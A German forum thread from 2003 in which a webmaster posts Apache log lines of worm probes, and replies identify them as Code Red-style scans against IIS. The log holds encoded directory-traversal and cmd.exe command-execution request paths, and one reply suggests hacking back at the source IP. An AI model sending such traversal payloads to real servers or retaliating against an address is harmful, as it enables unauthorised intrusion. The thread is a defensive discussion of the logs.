hackversuche?

Ganto · 7. Januar 2003

hi zäme

ich hatte auf meinem webserver (apache), trotz firewall öfters solche versuchte zugriffe (auszug aus dem logfile):

203.132.142.13 - - [23/Aug/2002:14:00:05 +0200] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
203.132.142.13 - - [23/Aug/2002:14:00:06 +0200] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 274 "-" "-"
203.132.142.13 - - [23/Aug/2002:14:00:07 +0200] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284 "-" "-"
203.132.142.13 - - [23/Aug/2002:14:00:08 +0200] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284 "-" "-"
203.132.142.13 - - [23/Aug/2002:14:00:09 +0200] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298 "-" "-"
203.132.142.13 - - [23/Aug/2002:14:00:10 +0200] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 315 "-" "-"
203.132.142.13 - - [23/Aug/2002:14:00:14 +0200] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 315 "-" "-"
203.132.142.13 - - [23/Aug/2002:14:00:15 +0200] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 331 "-" "-"
203.132.142.13 - - [23/Aug/2002:14:00:16 +0200] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297 "-" "-"
203.132.142.13 - - [23/Aug/2002:14:00:17 +0200] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297 "-" "-"
203.132.142.13 - - [23/Aug/2002:14:00:19 +0200] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297 "-" "-"
203.132.142.13 - - [23/Aug/2002:14:00:20 +0200] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297 "-" "-"
203.132.142.13 - - [23/Aug/2002:14:00:21 +0200] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 281 "-" "-"
203.132.142.13 - - [23/Aug/2002:14:00:31 +0200] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 281 "-" "-"
203.132.142.13 - - [23/Aug/2002:14:00:32 +0200] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298 "-" "-"
203.132.142.13 - - [23/Aug/2002:14:00:33 +0200] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298 "-" "-"

sie kamen aber von den unterschiedlichsten ips. das ist jetzt einfach so ein versuch, von dem es etwa 5 gab.

was hat das zu bedeuten? was wollte er da ausführen? wie kann ich mich dagegen schützen?

greetz ganto

Mannyac · 7. Januar 2003

sieht mir schwer nach CodeRed (?) aus.. aber dank Apache mussu nicht angst haben..

Ganto · 7. Januar 2003

wow, wie man da wieder dazulernt, auf das wäre ich jetzt ehrlichgesagt nicht gekommen. :))

thanks

2cool4u · 7. Januar 2003

solange da hinten 404 steht hast du nix zu befürchten.

mein Server Log ist auch voll davon...

reWARder · 7. Januar 2003

404 ist doch irgendein fehlercode, dass etwas nicht ordnungsgemäss ablief, bei einem versuch einzuloggen, etwas in der richtung.

shortS · 8. Januar 2003

404 ist page not found
@ ganto, du hast ja seine IP, hack doch einfach zurück

MiBfinity · 8. Januar 2003

Also wenns wirklich der CRII ist, kann er ja nichts dafür... oder fast nichts... ausser dass er was gegen ihn tun sollte.

Laut Tracert ist er in NewYork...

DarkLordSilver · 8. Januar 2003

update dein apache und dann kannst du absolut sorgenfrei schlafen

SEEdER · 8. Januar 2003

gib ma dein winnt-ordner frei für i-net

:oha

rediculum · 14. Januar 2003

diese attacken sind normal. hab genau die selben meldungen. im inet ist man halt dauernd unter beschuss
wie bereits erwähnt, solange 404 kommt, kann er nix machen. bei mir kann er noch lange root.exe oder cmd.exe auf einer linux maschine suchen

DaZ · 19. Januar 2003

ähm CR? ich hab verpasst wie das ding funktioniert... WOHER "weiss" das virus die IP's??? führt einfach bei zufällig zusammengesetzten ips portscan 80 durch oder wie?

Xoood · 19. Januar 2003

Der scannt die IPs.

Wenn du solche meldungen nicht mehr im Log haben willst, leg Apache auf Port 81 oder so. Hab ich bei mir so zwangsmässig wegen meinem Provider, und ich hab ein sauberes log.
Die Attacken auf cmd.exe und so sind eh auf IIS abgerichtet.... Da musst du unter Apache keine Angst haben. Wenn du doch auf sicher gehen willst: Linux Server....